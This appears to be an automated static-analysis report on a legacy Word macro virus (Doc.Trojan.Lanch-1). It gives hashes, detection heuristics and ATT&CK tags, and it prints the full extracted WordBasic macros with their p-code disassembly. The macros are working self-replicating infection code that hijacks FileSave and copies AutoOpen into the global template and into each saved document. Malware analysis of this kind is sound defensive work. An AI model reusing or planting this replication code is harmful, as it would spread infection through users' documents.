Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6da3bdec438d447e…

MALICIOUS

Office (OLE)

41.5 KB Created: 1997-11-16 19:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 706542372b8e2e098f0a7b2d06d6706c SHA-1: a68656ff6edc5d69da5a22c5fdd1e80c5f631b90 SHA-256: 6da3bdec438d447e6b54f5ca15b73b8fcde4d1a962b8670b70d53302137f525b
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macros, specifically an AutoOpen subroutine, which is a strong indicator of older malware. The macro attempts to copy itself and other routines, suggesting an effort to embed malicious functionality within documents. The embedded URL and the presence of macros indicate a likely spearphishing attachment attack vector.

Heuristics 5

  • ClamAV: Doc.Trojan.Lanch-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lanch-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.mystara.com/proctor/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8581 bytes
SHA-256: 73a0aba170d194873b38e0d3834ad9b5a155cbd10ccad7d47faa2ba2484af98a
Detection
ClamAV: Doc.Trojan.Lanch-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim bTooMuchTrouble
Dim sMe$
Dim sMacro$
    On Error GoTo -1: On Error GoTo Abort
    iMacroCount = WordBasic.CountMacros(0, 0)
    For i = 1 To iMacroCount
        If WordBasic.[MacroName$](i, 0, 0) = "FileSave" Then
            bTooMuchTrouble = -1
        End If
    Next i
    If Not bTooMuchTrouble Then
        'add FileSaveAs and copies of AutoOpen and FileSaveAs.
        sMe$ = WordBasic.[FileName$]()
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:FileSave"
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:NEWFS"
        sMacro$ = sMe$ + ":NEWAO"
        WordBasic.MacroCopy sMacro$, "Global:NEWAO"
    End If
Abort:
End Sub

Attribute VB_Name = "NEWFS"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
'this becomes the FileSaveAs for the global template
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Bail
WordBasic.CurValues.FileSaveAs dlg
If InStr(WordBasic.[FileName$](), "\") = 0 Then
    WordBasic.Dialog.FileSaveAs dlg
    sMe$ = WordBasic.[FileNameInfo$](dlg.Name, 1)
    WordBasic.FileSaveAs dlg
Else
    sMe$ = WordBasic.[FileName$]()
End If
If dlg.Format = 0 Then dlg.Format = 1
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:NEWAO", sTMacro$
sTMacro$ = sMe$ + ":NEWAO"
WordBasic.MacroCopy "Global:NEWAO", sTMacro$
sTMacro$ = sMe$ + ":NEWFS"
WordBasic.MacroCopy "Global:NEWFS", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done

Bail:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

Attribute VB_Name = "NEWAO"

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim bTooMuchTrouble
Dim sMe$
Dim sMacro$
    On Error GoTo -1: On Error GoTo Abort
    iMacroCount = WordBasic.CountMacros(0, 0)
    For i = 1 To iMacroCount
        If WordBasic.[MacroName$](i, 0, 0) = "FileSave" Then
            bTooMuchTrouble = -1
        End If
    Next i
    If Not bTooMuchTrouble Then
        'add FileSaveAs and copies of AutoOpen and FileSaveAs.
        sMe$ = WordBasic.[FileName$]()
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:FileSave"
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:NEWFS"
        sMacro$ = sMe$ + ":NEWAO"
        WordBasic.MacroCopy sMacro$, "Global:NEWAO"
    End If
Abort:
End Sub

' Processing file: /tmp/qstore_9o8k0f6d
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2642 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn iMacroCount
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn bTooMuchTrouble
' Line #5:
' 	Dim 
' 	VarDefn sMe
' Line #6:
' 	Dim 
' 	VarDefn sMacro
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #8:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #9:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #10:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0008 "FileSave"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	UMi 
' 	St bTooMuchTrouble 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' 	Ld bTooMuchTrouble 
' 	Not 
' 	IfBlock 
' Line #15:
' 	QuoteRem 0x0008 0x0035 "add FileSaveAs and copies of AutoOpen and FileSaveAs."
' Line #16:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #17:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #18:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #19:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #20:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sMacro$ 
' Line #22:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Label Abort 
' Line #25:
' 	EndSub 
' Macros/VBA/NEWFS - 2227 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sTMacro
' Line #4:
' 	QuoteRem 0x0000 0x0033 "this becomes the FileSaveAs for the global template"
' Line #5:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #6:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bail 
' Line #7:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 "\"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #9:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	Ld dlg 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [FileNameInfo$] 0x0002 
' 	St sMe$ 
' Line #11:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	ElseBlock 
' Line #13:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #16:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #17:
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sTMacro$ 
' Line #19:
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sTMacro$ 
' Line #21:
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #23:
' 	GoTo Done 
' Line #24:
' Line #25:
' 	Label Bail 
' Line #26:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #27:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Label Done 
' Line #30:
' 	EndSub 
' Macros/VBA/NEWAO - 2031 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn iMacroCount
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn bTooMuchTrouble
' Line #5:
' 	Dim 
' 	VarDefn sMe
' Line #6:
' 	Dim 
' 	VarDefn sMacro
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #8:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #9:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #10:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0008 "FileSave"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	UMi 
' 	St bTooMuchTrouble 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' 	Ld bTooMuchTrouble 
' 	Not 
' 	IfBlock 
' Line #15:
' 	QuoteRem 0x0008 0x0035 "add FileSaveAs and copies of AutoOpen and FileSaveAs."
' Line #16:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #17:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #18:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #19:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #20:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sMacro$ 
' Line #22:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Label Abort 
' Line #25:
' 	EndSub

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